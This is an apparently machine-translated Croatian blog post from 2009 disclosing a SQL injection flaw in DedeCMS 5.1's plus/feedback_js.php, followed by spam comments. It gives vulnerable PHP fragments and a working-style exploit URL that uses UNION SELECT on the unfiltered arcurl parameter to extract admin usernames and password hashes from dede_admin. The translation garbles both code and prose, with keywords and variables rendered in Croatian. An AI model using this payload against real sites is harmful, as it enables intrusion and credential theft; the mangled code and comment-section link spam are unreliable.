DEDECMS 5,1 feedback_js.php 0DAY-0 dana, DEDECMS, DEDECMS 5,1, feedback

DEDECMS 5,1 feedback_js.php 0DAY

Ovaj ulaz je pošta na 11 lis 2009

Autor: st0p Rainy'Fox
Reproducirati Molimo Vas da navedete izvor: http://www.st0p.org http://bbs.erpangzi.com/

Ova ranjivost je pronađen i Rainy'Fox je također dostupna u slučaju magic_quotes_gpc = off

Ranjivost Verzija: Članci apartman 5,1
To se može iskoristiti kako bi dobili administratorski račun u pozadini i šifriranje mljeveno meso, postoje rupe datoteku plus / feedback_js.php i nefiltriran parametri $ arcurl

  ......
 0 ; $ Urlindex = 0;
 empty ( $arcID ) ) if (prazna ($ arcID))
 {
	 $dlist -> dsql -> GetOne ( "Select id From `#@__cache_feedbackurl` where url=' $arcurl ' " ) ; $ Row = $ dlist -> dsql -> GetOne ("Odaberite Od` id # @ __ cache_feedbackurl 'gdje je url =' $ arcurl '");
        / / Ovdje $ arcurl nijedan filtar
	 is_array ( $row ) ) $urlindex = $row [ 'id' ] ; if (is_array ($ red)) $ urlindex = $ red ['id'];
       / / Predstavite se rezultati staviti dolara urlindex zadatak za upit na $ redak ['id'], možemo konstruirati SQL izraza u sljedećim operacijskim
 }
 empty ( $arcID ) && empty ( $urlindex ) ) exit ( ) ; if (($ prazne arcID) && prazna ($ urlindex)) exit ();
 / / Ako je prazna arcID $ ili $ urlindex prazna izlaz
 ......
 empty ( $arcID ) ) $wq = " urlindex = ' $urlindex ' " ; if (prazna ($ arcID)) $ wq = "urlindex = '$ urlindex'";
 / / $ ArcID je prazna, odmah iznad rezultati provedbe će biti dodijeljen $ wq u sljedećih poslova koje obavlja.
 = " aid=' $arcID ' " ; drugi $ wq = "potpora = '$ arcID'";
  "select * from `#@__feedback` where $wq and ischeck='1' order by dtime desc" ; $ Querystring = "SELECT * FROM` # @ __ šalje 'gdje je $ wq i ischeck = '1' uredi prema dtime DESC ";
 Init ( ) ; $ Dlist -> Init ();
 SetSource ( $querystring ) ; $ Dlist -> SetSource ($ querystring);
 ......

Pogledajte korištenja, hej, zatvorena sam koristiti dva sindikata

  http://st0p/dedecms51/plus/feedback_js.php?arcurl = 'Sindikat odaberite "', a 1 = 2 sindikat odaberite 1,1,1 i userid i 3,1,3,3 i pwd i 1,1,3 , 1,1,1,1,1 od dede_admin gdje je 1 = 1 sindikata SELECT * FROM dede_feedback gdje je 1 = 2, a'' = '"iz dede_admin gdje'' ='

Nažalost, čak i Rainy'Fox ovaj tip pronaći ciljnu testa kada je zapravo rekao može u magic_quotes_gpc = o, kada kroz .... ova ideja previše YD .. previše strašno, stvarno se to postiglo sektor mreža treba kaos, puno programa su po defaultu u PHP magic_quotes_gpc je isključen, će pozvati svoje bijeg dio ... stvarno može postići, to je noćna mora PHP programa ...

Saznajte ° borilačkih vara

347 Reakcija to "DEDECMS 5,1 feedback_js.php 0DAY"

Do хостинг na Stu 19, 2009 | Odgovori
zelo intiresno, hvala
Po AKfour sedam na pro 1, 2009 | Odgovori
Danas stojim ovdje ponizan zbog zadatka prije [url = http://www.bawwgt.com] dofus kamas [/ url], zahvalan za povjerenje koje ste mi dali, ostajali vjerni snosi našoj [url = http:/ / www.bawwgt.com] dofus kamas jeftini [/ url]. Zahvaljujem predsjedniku [url = http://www.bawwgt.com] dofus power leveling [/ url] za službu na [url = http://www . bawwgt.com] kupiti dofus kamas [/ url], kao i velikodušnost i suradnje koje je prikazano u cijeloj ovoj tranziciji.
Po wsewtoexg na pro 3, 2009 | Odgovori
CMvNTO honoyhhectcq , [url = http://bqjmruocdqwf.com/ bqjmruocdqwf [/ url], [link = http://mdbdixbzaeau.com/] mdbdixbzaeau [/ link], http://njofsuttytxm.com/
Do Ovo će vas na pro 5, 2009 | Odgovori
Samo 34 dana prije DOFUS 2.0! 2. prosinca će biti ovdje prije nego što znamo [url = http://www.bawwgt.com/fr] dofus kamas [/ url]. Na [url = http://www.bawwgt.com / fr] dofus kamas moins pedagoga [/ url] svaki igrač će otkriti potpuno novi DOFUS iskustvo. [url = http://www.bawwgt.com/fr] acheter des dofus kamas [/ url] moraju biti zadovoljni s izvješća i foruma. Čak i tako [url = http://www.bawwgt.com/fr] ahat dofus kamas [/ url], postoji ¡ Ť s uvijek neke od naših dragih igrača u forumima.
Do kupiti strattera na pro 13, 2009 | Odgovori
ovo je super vijest. Hvala.
Po Seengart na pro 14, 2009 | Odgovori
huh ... informativne stil ..
By Natasha-webu na pro 16, 2009 | Odgovori
Vdaka ZA zaujimavy blog
Po ConradSimone na 8 ožu 2012 | Odgovori
Pa ovo je vrlo zanimljivo indeed.Would ljubav čitati malo više o tome. Divite se vrijedne informacije koje su vam ponuditi u svojim člancima.
Conrad je Simone